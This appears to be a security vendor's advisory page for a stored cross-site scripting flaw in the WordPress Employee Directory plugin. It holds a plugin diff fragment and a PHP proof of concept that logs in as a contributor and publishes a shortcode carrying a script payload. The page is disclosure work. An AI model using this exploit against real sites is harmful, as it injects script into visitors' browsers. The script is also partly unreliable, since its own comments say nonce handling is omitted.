-        unset($defaults['date']);
-
-        $defaults['title'] =__('Name');
-        $defaults['single_shortcode'] =__('Shortcode');
-        $defaults['Photo'] =__('Photo');
-        $defaults['taxonomy-employee-directory-department'] =__('Departments');
-        $defaults['Designation'] =__('Designation');
-        $defaults['Email'] =__('Email');
-
-        return $defaults;
-    }
-
-    function mo_empdir_custom_column_views($column_name, $post_id) {
-
-        switch ( $column_name ) {
-
-            case 'Email' :
-                $terms = get_post_meta( $post_id , '_moemp_email', true );
-                if ( is_string( $terms ) )
-                    echo esc_attr($terms);
-                break;
-
-            case 'single_shortcode' :
-                $content = '<div class="tooltip"><span class="tooltiptext" id="copy-dis-'.$post_id.'" style="display: none; ">Click to Copy</span><input id="input-shortcode-'.$post_id.'" readonly onclick="mo_empdir_click_to_copy('.$post_id.')" onmouseout="emdir_copy_display_off_col('.$post_id.')" onmouseover="emdir_copy_display_col('.$post_id.')" style="width:100%" type="text" value="[employee id=''.$post_id.'']" /> </div>';
-                $allowed_html= array(
-                    'div'=>array(
-                        'class' => array()
-                    ),
-                    'span'=> array(
-                        'class'=>array(),
-                        'id'=> array(),
-                        'style'=> array(),
-                    ),
-                    'input'=> array(
-                        'class'=>array(),
-                        'id'=> array(),
-                        'style'=> array(),
-                        'readonly' => array(),
-                        'onclick' => array(),
-                        'onmouseout'=>array(),
-                        'onmouseover' =>array(),
-                        'type'=>array(),
-                        'value'=>array()
-                    ),
-
-                );
-                echo wp_kses($content,$allowed_html);
-                break;
-
-            case 'Designation' :
-                $terms = get_post_meta( $post_id , '_moemp_title', true );
-                if ( is_string( $terms ) )
-                    echo esc_attr($terms);
-                break;
-
-            case 'Photo' :
-                $image_thumbnail_id= get_post_meta($post_id, '_thumbnail_id');
-
-                $image_thumbnail='';
-                if(isset($image_thumbnail_id[0])) {
-                    $image_thumbnail = wp_get_attachment_image_src($image_thumbnail_id[0], 'thumbnail');
-                }
-                if($image_thumbnail) {
-                    echo '<img class="thumb" src="' . esc_url($image_thumbnail[0]) . '" width="80px" height="80px" alt="' . get_post_meta($image_thumbnail_id[0], '_wp_attachment_image_alt', true) . '"/>';
-                } else {
-                    $img=plugins_url("assets/img/default-mo-img.png", __DIR__);
-                    if(!empty($user_id)){
-                        echo get_avatar($user_id[0]);
-                    }else{
-                        echo '<img class="thumb" src="'.esc_url($img).'" width="80px" height="70px" alt="No Image"/>';
-                    }
-                }
-          

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1279 - Employee Directory <= 1.2.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'form_title' Shortcode Attribute

<?php
/**
 * Proof of Concept for CVE-2026-1279
 * Requires Contributor+ WordPress credentials
 * Demonstrates stored XSS via form_title parameter
 */

$target_url = 'http://vulnerable-wordpress-site.com';
$username = 'contributor_user';
$password = 'contributor_password';

// Payload to demonstrate XSS
$payload = '<script>alert("Atomic Edge Research - XSS via form_title");</script>';

// Create WordPress post with malicious shortcode
$post_data = array(
    'title' => 'CVE-2026-1279 PoC',
    'content' => '[search_employee_directory form_title="' . $payload . '"]',
    'status' => 'publish'
);

// Initialize cURL session for login
$ch = curl_init();

// Step 1: Get login nonce and cookies
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
$response = curl_exec($ch);

// Step 2: Authenticate to WordPress
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
$response = curl_exec($ch);

// Step 3: Create new post with malicious shortcode
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post-new.php');
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);

// Extract nonce for post creation (simplified - real implementation would parse the page)
// Note: This PoC shows the concept; a full implementation would handle nonce extraction

// Step 4: Submit the post with XSS payload
$create_post_url = $target_url . '/wp-admin/admin-ajax.php';
$post_params = array(
    'action' => 'editpost',
    'post_type' => 'post',
    'post_title' => $post_data['title'],
    'content' => $post_data['content'],
    'publish' => 'Publish'
);

curl_setopt($ch, CURLOPT_URL, $create_post_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_params));
$response = curl_exec($ch);

// Step 5: Verify the payload was stored
if (strpos($response, 'search_employee_directory') !== false && strpos($response, $payload) !== false) {
    echo "[+] XSS payload successfully stored in post contentn";
    echo "[+] Visit the published post to trigger the JavaScript executionn";
} else {
    echo "[-] Payload injection may have failedn";
}

curl_close($ch);

// Cleanup
if (file_exists('cookies.txt')) {
    unlink('cookies.txt');
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School